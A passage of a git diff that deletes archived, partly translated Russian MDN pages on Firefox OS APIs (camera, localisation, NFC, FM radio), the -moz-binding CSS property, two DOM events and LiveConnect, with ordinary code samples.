-<h2 id="Summary" name="Summary">Резюме</h2>
-
-<p>Возвращает объект {{ domxref("CameraManager") }} который вы можите использовать для доступа к камере доступной на устройстве пользователя.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="eval">var camera = window.navigator.mozCamera;
-</pre>
-
-<h2 id="Value" name="Value">Значение</h2>
-
-<p><code>navigator.mozCamera</code> это объект {{domxref("CameraManager")}} который вы можете использовать для доступа к камере доступной на устройстве.</p>
-
-<h2 id="Specification" name="Specification">Спецификация</h2>
-
-<p>Не является еще частю какой-либо спецификации;<span id="result_box" lang="ru"><span class="hps"> Оно</span><span>, вероятно, будет</span> <span class="hps">заменен</span>о на <span class="hps">WebRTC</span><span>, когда</span> <span class="hps">оно получит</span> <span class="hps">более</span> <span class="hps">широкую поддержку</span> <span class="hps">на мобильных устройствах</span><span>.</span></span></p>
-
-<h2 id="Права_доступа">Права доступа</h2>
-
-<p>До Firefox OS 1.4,  API камеры было сертифицированным API, недоступным для сторонних приложений. С Firefox OS 2.0 и далее,  Уровень доступа был понижен до привелигированного, так что теперь доступно для разработчиков сторонних приложений.</p>
-
-<pre class="brush: json">"permissions": {
- "camera": {
- "description": "Required for accessing cameras on the device."
- }
-}</pre>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC API</a></li>
-</ul>
diff --git a/files/ru/web/api/navigator/mozl10n/index.html b/files/ru/web/api/navigator/mozl10n/index.html
deleted file mode 100644
index 590d3238cd..0000000000
--- a/files/ru/web/api/navigator/mozl10n/index.html
+++ /dev/null
@@ -1,38 +0,0 @@
----
-title: Navigator.mozL10n
-slug: Web/API/Navigator/mozL10n
-tags:
- - API
- - Firefox OS
- - Localization
- - Reference
- - Référence(2)
- - Локализация
- - Справка
- - Справка(2)
-translation_of: Archive/B2G_OS/API/Navigator/mozL10n
----
-<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
-
-<p><span class="seoSummary"><code>navigator.mozL10n</code> возвращает объект {{ domxref("L10n") }}, который вы можете использовать для доступа к ресурсам локализации и реагировать на события локализации.</span></p>
-
-<h2 id="Синтаксис" name="Синтаксис">Синтаксис</h2>
-
-<pre class="eval">var l10n = navigator.mozL10n;
-</pre>
-
-<h2 id="Значение" name="Значение">Значение</h2>
-
-<p><code>navigator.mozL10n</code> возвращает объект{{domxref("L10n")}}.</p>
-
-<h2 id="Спецификация" name="Спецификация">Спецификация</h2>
-
-<p>Не имеет спецификации. Заметим, что в будущем этот API будет заменен на <a href="ru/docs/L20n">L20n</a>.</p>
-
-<h2 id="Смотри_также">Смотри также</h2>
-
-<ul>
- <li>{{domxref("L10n")}}</li>
- <li><a href="/en-US/Apps/Build/Localization">Локализация приложений</a></li>
- <li><a href="/en-US/docs/L20n">L20n</a></li>
-</ul>
diff --git a/files/ru/web/api/navigator/moznfc/index.html b/files/ru/web/api/navigator/moznfc/index.html
deleted file mode 100644
index 8e21ea296b..0000000000
--- a/files/ru/web/api/navigator/moznfc/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Navigator.mozNfc
-slug: Web/API/Navigator/mozNfc
-translation_of: Archive/B2G_OS/API/Navigator/mozNfc
----
-<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Свойство <code>mozNfc</code> возвращает объект {{ domxref("MozNFC") }} который может быть использован для доступа к функциональности Firefox OS's NFC: Near Field Communication (NFC)  это радио технология малой дальности, используемая для обмена данными и тегами между мобильными устройствами прижатыми друг к другу или находящимися близко друг к другу.</p>
-
-<p>Для получения детальной иформации о NFC, прочтите <a href="/en-US/docs/Web/API/NFC_API/Using_the_NFC_API">Использование NFC API</a> и изучите <a href="/en-US/docs/Web/API/NFC_API">NFC справку</a>.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox">var nfc = navigator.mozNfc;
-</pre>
-
-<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
-
-<p><code>navigator.mozNfc</code> возвращает объект {{ domxref("MozNFC") }}.</p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<p>{{page("/en-US/docs/Web/API/NFC_API","Browser_compatibility")}}</p>
-
-<h2 id="Спецификация">Спецификация</h2>
-
-<p>{{page("/en-US/docs/Web/API/NFC_API","Specification")}}</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/NFC_API/Using_the_NFC_API">Using the NFC API</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/NFC_API/Using_the_NFC_emulator">Using the NFC emulator</a></li>
- <li><a href="/en-US/docs/Web/API/NFC_API">NFC reference landing page</a></li>
- <li>Related W3C APIs:
- <ul>
- <li><a href="http://www.w3.org/TR/2014/WD-nfc-20140114/#idl-def-NFCPeer">NFCPeer spec </a></li>
- <li><a href="http://www.w3.org/TR/2014/WD-nfc-20140114/#nfctag-interface">NFCTag spec</a></li>
- </ul>
- </li>
-</ul>
diff --git a/files/ru/web/api/webfm_api/index.html b/files/ru/web/api/webfm_api/index.html
deleted file mode 100644
index 11727674af..0000000000
--- a/files/ru/web/api/webfm_api/index.html
+++ /dev/null
@@ -1,156 +0,0 @@
----
-title: WebFM API
-slug: Web/API/WebFM_API
-tags:
- - WebFMAPI
-translation_of: Archive/B2G_OS/API/WebFM_API
----
-<p>{{ non-standard_header() }}</p>
-
-<p>{{ B2GOnlyHeader2('installed') }}</p>
-
-<h2 id="Summary">Summary</h2>
-
-<p>The WebFM API provides access to the device FM radio. It allows turning the radio on/off and switching among radio stations. This API is available through the {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}} property which is a {{domxref("FMRadio")}} object.</p>
-
-<h2 id="Включение_и_выключение_радио">Включение и выключение радио</h2>
-
-<p>Для того чтобы включить радио используйте метод {{domxref("FMRadio.enable()")}}, для выключения {{domxref("FMRadio.disable()")}}.</p>
-
-<p>Перед включением радио следует проверить доступность антены, так как без нее встроенный радиомодуль не в состоянии поймать какую либо станцию. Информация о доступности антенны находится в свойстве {{domxref("FMRadio.antennaAvailable")}}. Как правило, в мобильных устройствах роль антены выполняют наушники (проводная гарнитура). Каждый раз когда пользователь подсоединяет или отсоединяет проводную гарнитуру WebFM API вызывает событие {{event("antennaavailablechange")}}.</p>
-
-<p>To turn the radio on it's necessary to provide a frequency to listen. That frequency (in MHz) is a number pass to the {{domxref("FMRadio.enable()")}} method.</p>
-
-<pre class="brush: js">// Частота радиостанции в MHz
-var frequency = 99.1;
-var radio = navigator.mozFMRadio;
-
-if (radio.antennaAvailable) {
- radio.enable(frequency);
-} else {
- alert("Вам необходимо подсоединить гарнитуру");
-}
-
-radio.addEventListener('antennaavailablechange', function () {
- if (radio.antennaAvailable) {
- radio.enable(frequency);
- } else {
- radio.disable();
- }
-})
-</pre>
-
-<div class="note">
-<p><strong>Note:</strong> The audio is output through the <code>normal</code> audio channel available on the device.</p>
-</div>
-
-<h2 id="Switching_among_frequency">Switching among frequency</h2>
-
-<p>Switching from on frequency to another can be done manually or automatically. In any case, the current radio frequency listened to by the built-in radio is always available with the {{domxref("FMRadio.frequency")}} property. That property is number representing the frequency in <a href="http://en.wikipedia.org/wiki/Hertz" title="http://en.wikipedia.org/wiki/Hertz">MHz</a>.</p>
-
-<h3 id="Manual_switch">Manual switch</h3>
-
-<p>The {{domxref("FMRadio.setFrequency()")}} method must be used to set a new frequency to listen. However, there are some constraints about the value that can be set. The method will return a {{domxref("DOMRequest")}} object to handle the success or error of the method call. The frequency must fulfill the following requirements:</p>
-
-<ul>
- <li>The frequency must be in the range defined by {{domxref("FMRadio.frequencyLowerBound")}} and {{domxref("FMRadio.frequencyUpperBound")}}. If the frequency is out of range, it will result in an error.</li>
- <li>The frequency must be stepped based on the value of {{domxref("FMRadio.channelWidth")}}. If it's not the case, the frequency will be rounded accordingly. For example, if 100MHz is a valid frequency and if {{domxref("FMRadio.channelWidth","channelWidth")}} has the value 0.2, trying to set a frequency of 100.15 will result in a frequency set to 100.2.</li>
-</ul>
-
-<pre class="brush: js">var change = radio.setFrequency(frequency);
-
-change.onerror = function () {
- var min = radio.frequencyLowerBound;
- var max = radio.frequencyUpperBound;
- console.warn('The frequency must be within the range [' + min + ',' + max + ']');
-}
-
-change.onsuccess = function () {
- console.log('The frequency has been set to ' + radio.frequency);
-}
-</pre>
-
-<h3 id="Автоматический_поиск">Автоматический поиск</h3>
-
-<p>WebFM API предоставляет удобный способ автоматического поиска радиоканалов. Для восходящего поиска используйте метод {{domxref("FMRadio.seekUp()")}}, а для низходящего, метод {{domxref("FMRadio.seekDown()")}}.</p>
-
-<p>The WebFM API also provides a convinient way to seek radio channels automatically. To that end, we can use the {{domxref("FMRadio.seekUp()")}} (to find a radio channel on a higher frequency than the current one) and {{domxref("FMRadio.seekDown()")}} method. The former is used to find a radio channel with a higher frequency than the current one, and the latter for a radio channel with a lower frequency. Those methods return a {{domxref("DOMRequest")}} object to handle the success or error of each method call.</p>
-
-<p>Both methods will circle back to higher or lower frequency once they reach the {{domxref("FMRadio.frequencyLowerBound","frequencyLowerBound")}} or {{domxref("FMRadio.frequencyUpperBound","frequencyUpperBound")}} values. When they find a new radio channel, they change the current frequency and fire a {{event("frequencychange")}} event.</p>
-
-<p>It's not possible to seek twice at the same time (e.g. it's not possible to seek up and down at the same time), trying to do so, will result in an error. But if necessary it's possible to stop seeking by calling the {{domxref("FMRadio.cancelSeek()")}} method. This method will also return a {{domxref("DOMRequest")}} object.</p>
-
-<pre class="brush: js">var radio = navigator.mozFMRadio;
-var seeking = false;
-var UP = document.querySelector("button.up");
-var DOWN = document.querySelector("button.down");
-
-// When the frequency change, the seek
-// functions automatically stop to seek.
-radio.onfrequencychange = function () {
- seeking = false;
-}
-
-function seek(direction) {
- var cancel, search;
-
- // If the radio is already seeking
- // we will cancel the current search.
- if (seeking) {
- var cancel = radio.cancelSeek();
- cancel.onsuccess = function () {
- seeking = false;
-
- // Once the radio no longer seek,
- // we can try to seek as expected
- seek(direction);
- }
-
- // Let's seek up
- } else if (direction === 'up') {
- // Just to be sure that the radio is turned on
- if (!radio.enabled) {
- radio.enable(radio.frequencyLowerBound);
- }
- search = radio.seekUp();
-
- // Let's seek up
- } else if (direction === 'down' {
- // Just to be sure that the radio is turned on
- if (!radio.enabled) {
- radio.enable(radio.frequencyUpperBound);
- }
- search = radio.seekDown();
- }
-
- if (search) {
- search.onsuccess = function () {
- // Ok, we are seeking now.
- seeking = true;
- };
- search.onerror = function () {
- // Something goes wrong... ok, let's try again.
- seek(direction);
- }
- }
-}
-
-UP.addEventListener('click', function () {
- seek('up');
-});
-
-DOWN.addEventListener('click', function () {
- seek('down');
-});
-</pre>
-
-<h2 id="Specification">Specification</h2>
-
-<p>Not part of any specification.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{domxref("FMRadio")}}</li>
- <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">The FM app on Gaïa</a></li>
-</ul>
diff --git a/files/ru/web/css/-moz-binding/index.html b/files/ru/web/css/-moz-binding/index.html
deleted file mode 100644
index e9c8b29c44..0000000000
--- a/files/ru/web/css/-moz-binding/index.html
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: '-moz-binding'
-slug: Web/CSS/-moz-binding
-translation_of: Archive/Web/CSS/-moz-binding
----
-<div>{{CSSRef}}{{Non-standard_Header}}{{Deprecated_Header(57)}}</div>
-
-<p>The <strong><code>-moz-binding</code></strong> CSS property is used by Mozilla-based applications to attach an <a href="/en-US/docs/XBL">XBL</a> binding to a DOM element.</p>
-
-<p>{{CSSInfo}}</p>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre class="brush:css">/* &lt;url&gt; value */
--moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#checkbox);
-
-/* Global values */
--moz-binding: inherited;
--moz-binding: initial;
--moz-binding: unset;
-</pre>
-
-<h3 id="Values">Values</h3>
-
-<dl>
- <dt>{{CSSxRef("&lt;url&gt;")}}</dt>
- <dd>The URL for the XBL binding (including the fragment identifier).</dd>
- <dt><code>none</code></dt>
- <dd>No XBL binding is applied to the element.</dd>
-</dl>
-
-<h3 id="Formal_syntax">Formal syntax</h3>
-
-<pre class="syntaxbox">{{CSSSyntax}}</pre>
-
-<h2 id="Example">Example</h2>
-
-<pre class="brush: css">.exampleone {
- -moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#radiobutton);
-}</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<p>Not part of any specification.</p>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div class="bc-old">
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <thead>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox</th>
- <th>IE</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Basic support {{Deprecated_Inline}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}} <sup><a href="compatNote_1">[1]</a></sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <thead>
- <tr>
- <th>Feature</th>
- <th>WebView Android</th>
- <th>Chrome Android</th>
- <th>Edge Mobile</th>
- <th>Firefox Android</th>
- <th>Opera Android</th>
- <th>Safari iOS</th>
- <th>Samsung Internet Android</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Basic support {{Deprecated_Inline}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}} <sup><a href="compatNote_1">[1]</a></sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p id="compatNote_1">1. XBL is deprecated and being removed (See {{bug(1397874)}}).</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment">XBL Reference: Binding Attachment and Detachment</a></li>
- <li><a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/Introduction_to_XBL">XUL Tutorial: Introduction to XBL</a></li>
-</ul>
diff --git a/files/ru/web/events/dommodaldialogclosed/index.html b/files/ru/web/events/dommodaldialogclosed/index.html
deleted file mode 100644
index 67b480544b..0000000000
--- a/files/ru/web/events/dommodaldialogclosed/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: DOMModalDialogClosed
-slug: Web/Events/DOMModalDialogClosed
-translation_of: Archive/Add-ons/Events/DOMModalDialogClosed
----
-<p>The <code>DOMModalDialogClosed</code> event is executed when a modal dialog has been closed.</p>
-
-<h2 id="General_info">General info</h2>
-
-<dl>
- <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
- <dd style="margin: 0 0 0 120px;"><em>Addons specific</em></dd>
- <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
- <dd style="margin: 0 0 0 120px;">Event</dd>
- <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
- <dd style="margin: 0 0 0 120px;">Yes</dd>
- <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
- <dd style="margin: 0 0 0 120px;">Yes</dd>
- <dt style="float: left; text-align: right; width: 120px;">Target</dt>
- <dd style="margin: 0 0 0 120px;">window, <a href="/en-US/docs/XUL/browser">browser</a></dd>
- <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
- <dd style="margin: 0 0 0 120px;">None</dd>
-</dl>
-
-<h2 id="Properties">Properties</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Property</th>
- <th scope="col">Type</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>target</code> {{readonlyInline}}</td>
- <td>{{domxref("EventTarget")}}</td>
- <td>The event target (the topmost target in the DOM tree).</td>
- </tr>
- <tr>
- <td><code>type</code> {{readonlyInline}}</td>
- <td>{{domxref("DOMString")}}</td>
- <td>The type of event.</td>
- </tr>
- <tr>
- <td><code>bubbles</code> {{readonlyInline}}</td>
- <td>{{jsxref("Boolean")}}</td>
- <td>Whether the event normally bubbles or not.</td>
- </tr>
- <tr>
- <td><code>cancelable</code> {{readonlyInline}}</td>
- <td>{{jsxref("Boolean")}}</td>
- <td>Whether the event is cancellable or not.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Listening_to_events_in_Firefox_extensions" title="/en-US/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li>
-</ul>
diff --git a/files/ru/web/events/domsubtreemodified/index.html b/files/ru/web/events/domsubtreemodified/index.html
deleted file mode 100644
index dfd00fe94d..0000000000
--- a/files/ru/web/events/domsubtreemodified/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: DOMSubtreeModified
-slug: Web/Events/DOMSubtreeModified
-tags:
- - DOMSubtreeModified
-translation_of: Archive/Events/DOMSubtreeModified
----
-<h2 id="Example" name="Example">Пример</h2>
-
-<p>Следующий код отображает время последнего изменения DOM в строке заголовка страницы.</p>
-
-<div class="warning">
-<p>Это событие устарело в пользу  <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer API</a></p>
-</div>
-
-<div class="warning">Будьте очень осторожны с этим событием, легко вызвать бесконечный цикл, если вы решите изменить DOM внутри обработчика событий.</div>
-
-<pre class="brush: js">document.body.addEventListener('DOMSubtreeModified', function () {
-  document.title = 'DOM Изменен в ' + new Date();
-}, false);
-</pre>
diff --git a/files/ru/web/javascript/guide/liveconnect_overview/index.html b/files/ru/web/javascript/guide/liveconnect_overview/index.html
deleted file mode 100644
index baf6f2577c..0000000000
--- a/files/ru/web/javascript/guide/liveconnect_overview/index.html
+++ /dev/null
@@ -1,795 +0,0 @@
----
-title: LiveConnect Overview
-slug: Web/JavaScript/Guide/LiveConnect_Overview
-translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
----
-<p>Эта глава описывает технолонию <a href="/en-US/docs/LiveConnect" title="en-US/docs/LiveConnect">LiveConnect</a> которая позволяет Java и JavaScript взаимодейстовать между собой. В этой главе полагается что вы имеет представление о языке программирования Java.</p>
-
-<h2 id="Working_with_Wrappers">Working with Wrappers</h2>
-
-<p>В JavaScript, <em>обертка </em>это объект s an object of the target language data type that encloses an object of the source language. When programming in JavaScript, you can use a wrapper object to access methods and fields of the Java object; calling a method or accessing a property on the wrapper results in a call on the Java object. On the Java side, JavaScript objects are wrapped in an instance of the class <code>netscape.javascript.JSObject</code> and passed to Java.</p>
-
-<p>When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type <code>JSObject</code>; when a <code>JSObject</code> is sent from Java to JavaScript, the runtime engine unwraps it to its original JavaScript object type. The <code>JSObject</code> class provides an interface for invoking JavaScript methods and examining JavaScript properties.</p>
-
-<h2 id="JavaScript_to_Java_Communication">JavaScript to Java Communication</h2>
-
-<p>When you refer to a Java package or class, or work with a Java object or array, you use one of the special LiveConnect objects. All JavaScript access to Java takes place with these objects, which are summarized in the following table.</p>
-
-<table class="standard-table">
- <caption>Table 9.1 The LiveConnect Objects</caption>
- <thead>
- <tr>
- <th scope="col">Object</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>JavaArray</code></td>
- <td>A wrapped Java array, accessed from within JavaScript code.</td>
- </tr>
- <tr>
- <td><code>JavaClass</code></td>
- <td>A JavaScript reference to a Java class.</td>
- </tr>
- <tr>
- <td><code>JavaObject</code></td>
- <td>A wrapped Java object, accessed from within JavaScript code.</td>
- </tr>
- <tr>
- <td><code>JavaPackage</code></td>
- <td>A JavaScript reference to a Java package.</td>
- </tr>
- </tbody>
-</table>
-
-<p><strong>Note:</strong> Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. See <a href="/en-US/docs/JavaScript/Guide/Values,_Variables,_and_Literals#Data_Type_Conversion" title="en-US/docs/JavaScript/Guide/Values, Variables, and Literals#Data Type Conversion">Data Type Conversion</a> for complete information.</p>
-
-<p>In some ways, the existence of the LiveConnect objects is transparent, because you interact with Java in a fairly intuitive way. For example, you can create a Java <code>String</code> object and assign it to the JavaScript variable <code>myString</code> by using the <code>new</code> operator with the Java constructor, as follows:</p>
-
-<pre class="brush: js">var myString = new java.lang.String("Hello world");
-</pre>
-
-<p>In the previous example, the variable <code>myString</code> is a <code>JavaObject</code> because it holds an instance of the Java object <code>String</code>. As a <code>JavaObject</code>, <code>myString</code> has access to the public instance methods of <code>java.lang.String</code> and its superclass, <code>java.lang.Object</code>. These Java methods are available in JavaScript as methods of the <code>JavaObject</code>, and you can call them as follows:</p>
-
-<pre class="brush: js">myString.length(); // returns 11
-</pre>
-
-<p>Static members can be called directly on the JavaClass object.</p>
-
-<pre class="brush: js">alert(java.lang.Integer.MAX_VALUE); //alerts 2147483647
-</pre>
-
-<h3 id="The_Packages_Object">The Packages Object</h3>
-
-<p>If a Java class is not part of the <code>java</code>, <code>sun</code>, or <code>netscape</code> packages, you access it with the <code>Packages</code> object. For example, suppose the Redwood corporation uses a Java package called <code>redwood</code> to contain various Java classes that it implements. To create an instance of the <code>HelloWorld</code> class in <code>redwood</code>, you access the constructor of the class as follows:</p>
-
-<pre class="brush: js">var red = new Packages.redwood.HelloWorld();
-</pre>
-
-<p>You can also access classes in the default package (that is, classes that don't explicitly name a package). For example, if the HelloWorld class is directly in the <code>CLASSPATH</code> and not in a package, you can access it as follows:</p>
-
-<pre class="brush: js">var red = new Packages.HelloWorld();
-</pre>
-
-<p>The LiveConnect <code>java</code>, <code>sun</code>, and <code>netscape</code> objects provide shortcuts for commonly used Java packages. For example, you can use the following:</p>
-
-<pre class="brush: js">var myString = new java.lang.String("Hello world");
-</pre>
-
-<p>instead of the longer version:</p>
-
-<pre class="brush: js">var myString = new Packages.java.lang.String("Hello world");
-</pre>
-
-<h3 id="Working_with_Java_Arrays">Working with Java Arrays</h3>
-
-<p>When any Java method creates an array and you reference that array in JavaScript, you are working with a <code>JavaArray</code>. For example, the following code creates the <code>JavaArray x</code> with ten elements of type int:</p>
-
-<pre class="brush: js">var x = java.lang.reflect.Array.newInstance(java.lang.Integer, 10);
-</pre>
-
-<p>Like the JavaScript <code>Array</code> object, <code>JavaArray</code> has a <code>length</code> property which returns the number of elements in the array. Unlike <code>Array.length</code>, <code>JavaArray.length</code> is a read-only property, because the number of elements in a Java array are fixed at the time of creation.</p>
-
-<h3 id="Package_and_Class_References">Package and Class References</h3>
-
-<p>Simple references to Java packages and classes from JavaScript create the <code>JavaPackage</code> and <code>JavaClass</code> objects. In the earlier example about the Redwood corporation, for example, the reference Packages.redwood is a JavaPackage object. Similarly, a reference such as <code>java.lang.String</code> is a <code>JavaClass</code> object.</p>
-
-<p>Most of the time, you don't have to worry about the <code>JavaPackage</code> and <code>JavaClass</code> objects—you just work with Java packages and classes, and LiveConnect creates these objects transparently. There are cases where LiveConnect will fail to load a class, and you will need to manually load it like this:</p>
-
-<pre class="brush: js">var Widgetry = java.lang.Thread.currentThread().getContextClassLoader().loadClass("org.mywidgets.Widgetry");
-</pre>
-
-<p>In JavaScript 1.3 and earlier, <code>JavaClass</code> objects are not automatically converted to instances of <code>java.lang.Class</code> when you pass them as parameters to Java methods—you must create a wrapper around an instance of <code>java.lang.Class</code>. In the following example, the <code>forName</code> method creates a wrapper object <code>theClass</code>, which is then passed to the <code>newInstance</code> method to create an array.</p>
-
-<pre class="brush: js">// JavaScript 1.3
-var theClass = java.lang.Class.forName("java.lang.String");
-var theArray = java.lang.reflect.Array.newInstance(theClass, 5);
-</pre>
-
-<p>In JavaScript 1.4 and later, you can pass a <code>JavaClass</code> object directly to a method, as shown in the following example:</p>
-
-<pre class="brush: js">// JavaScript 1.4
-var theArray = java.lang.reflect.Array.newInstance(java.lang.String, 5);
-</pre>
-
-<h3 id="Arguments_of_Type_char">Arguments of Type char</h3>
-
-<p>In JavaScript 1.4 and later, you can pass a one-character string to a Java method which requires an argument of type <code>char</code>. For example, you can pass the string "H" to the <code>Character</code> constructor as follows:</p>
-
-<pre class="brush: js">var c = new java.lang.Character("H");
-</pre>
-
-<p>In JavaScript 1.3 and earlier, you must pass such methods an integer which corresponds to the Unicode value of the character. For example, the following code also assigns the value "H" to the variable <code>c</code>:</p>
-
-<pre class="brush: js">var c = new java.lang.Character(72);
-</pre>
-
-<h3 id="Handling_Java_Exceptions_in_JavaScript">Handling Java Exceptions in JavaScript</h3>
-
-<p>When Java code fails at run time, it throws an exception. If your JavaScript code accesses a Java data member or method and fails, the Java exception is passed on to JavaScript for you to handle. Beginning with JavaScript 1.4, you can catch this exception in a <code>try...catch</code> statement. (Although this functionality (along with some others) had been broken in Gecko 1.9 (see {{ bug("391642") }}) as the Mozilla-specific LiveConnect code had not been maintained inside Mozilla, with Java 6 update 11 and 12 building support for reliance on Mozilla's implementation of the generic (and cross-browser) <a href="/en-US/docs/Plugins" title="en-US/docs/Plugins">NPAPI</a> plugin code, this has again been fixed.)</p>
-
-<p>For example, suppose you are using the Java <code>forName</code> method to assign the name of a Java class to a variable called <code>theClass</code>. The <code>forName</code> method throws an exception if the value you pass it does not evaluate to the name of a Java class. Place the <code>forName</code> assignment statement in a <code>try</code> block to handle the exception, as follows:</p>
-
-<pre class="brush: js">function getClass(javaClassName) {
- try {
- var theClass = java.lang.Class.forName(javaClassName);
- } catch (e) {
- return ("The Java exception is " + e);
- }
- return theClass;
-}
-</pre>
-
-<p>In this example, if <code>javaClassName</code> evaluates to a legal class name, such as "java.lang.String", the assignment succeeds. If <code>javaClassName</code> evaluates to an invalid class name, such as "String", the <code>getClass</code> function catches the exception and returns something similar to the following:</p>
-
-<pre>The Java exception is java.lang.ClassNotFoundException: String
-</pre>
-
-<p>For specialized handling based on the exception type, use the <code>instanceof</code> operator:</p>
-
-<pre class="brush: js">try {
- // ...
-} catch (e) {
- if (e instanceof java.io.FileNotFound) {
- // handling for FileNotFound
- } else {
- throw e;
- }
-}
-</pre>
-
-<p>See <a href="/en-US/docs/JavaScript/Guide/Statements#Exception_Handling_Statements" title="en-US/docs/JavaScript/Guide/Statements#Exception Handling Statements">Exception Handling Statements</a> for more information about JavaScript exceptions.</p>
-
-<h2 id="Java_to_JavaScript_Communication">Java to JavaScript Communication</h2>
-
-<p>If you want to use JavaScript objects in Java, you must import the <code>netscape.javascript</code> package into your Java file. This package defines the following classes:</p>
-
-<ul>
- <li><code><a href="/en-US/docs/JavaScript/Reference/LiveConnect/JSObject" title="en-US/docs/JavaScript/Reference/LiveConnect/JSObject">netscape.javascript.JSObject</a></code> allows Java code to access JavaScript methods and properties.</li>
- <li><code><a href="/en-US/docs/JavaScript/Reference/LiveConnect/JSException" title="en-US/docs/JavaScript/Reference/LiveConnect/JSException">netscape.javascript.JSException</a></code> allows Java code to handle JavaScript errors.</li>
-</ul>
-
-<p>See the <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a> for more information about these classes.</p>
-
-<h3 id="Locating_the_LiveConnect_classes" name="Locating_the_LiveConnect_classes">Locating the LiveConnect classes</h3>
-
-<p>In older versions of the Netscape browser, these classes were distributed along with the browser. Starting with JavaScript 1.2, these classes are delivered in a .jar file; in previous versions of JavaScript, these classes are delivered in a .zip file. For example, with Netscape Navigator 4 for Windows NT, the classes are delivered in the <code>java40.jar</code> file in the <code>Program\Java\Classes</code> directory beneath the Navigator directory.</p>
-
-<p>More recently, the classes have been distributed with Sun's Java Runtime; initially in the file "jaws.jar" in the "jre/lib" directory of the runtime distribution (for JRE 1.3), then in "plugin.jar" in the same location (JRE 1.4 and up).</p>
-
-<h3 id="Using_the_LiveConnect_classes_with_the_JDK" name="Using_the_LiveConnect_classes_with_the_JDK">Using the LiveConnect classes with the JDK</h3>
-
-<p>To access the LiveConnect classes, place the .jar or .zip file in the <code>CLASSPATH</code> of the JDK compiler in either of the following ways:</p>
-
-<ul>
- <li>Create a <code>CLASSPATH</code> environment variable to specify the path and name of .jar or .zip file.</li>
- <li>Specify the location of .jar or .zip file when you compile by using the <code>-classpath</code> command line parameter.</li>
-</ul>
-
-<p>You can specify an environment variable in Windows NT by double-clicking the System icon in the Control Panel and creating a user environment variable called <code>CLASSPATH</code> with a value similar to the following:</p>
-
-<pre class="eval">C:\Program Files\Java\jre1.4.1\lib\plugin.jar
-</pre>
-
-<p>See the Sun JDK documentation for more information about <code>CLASSPATH</code>.</p>
-
-<p><strong>Note:</strong> Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. See <a href="#Data_Type_Conversions">Data Type Conversions</a> for complete information.</p>
-
-<h3 id="Using_the_LiveConnect_Classes">Using the LiveConnect Classes</h3>
-
-<p>All JavaScript objects appear within Java code as instances of <code>netscape.javascript.JSObject</code>. When you call a method in your Java code, you can pass it a JavaScript object as one of its argument. To do so, you must define the corresponding formal parameter of the method to be of type <code>JSObject</code>.</p>
-
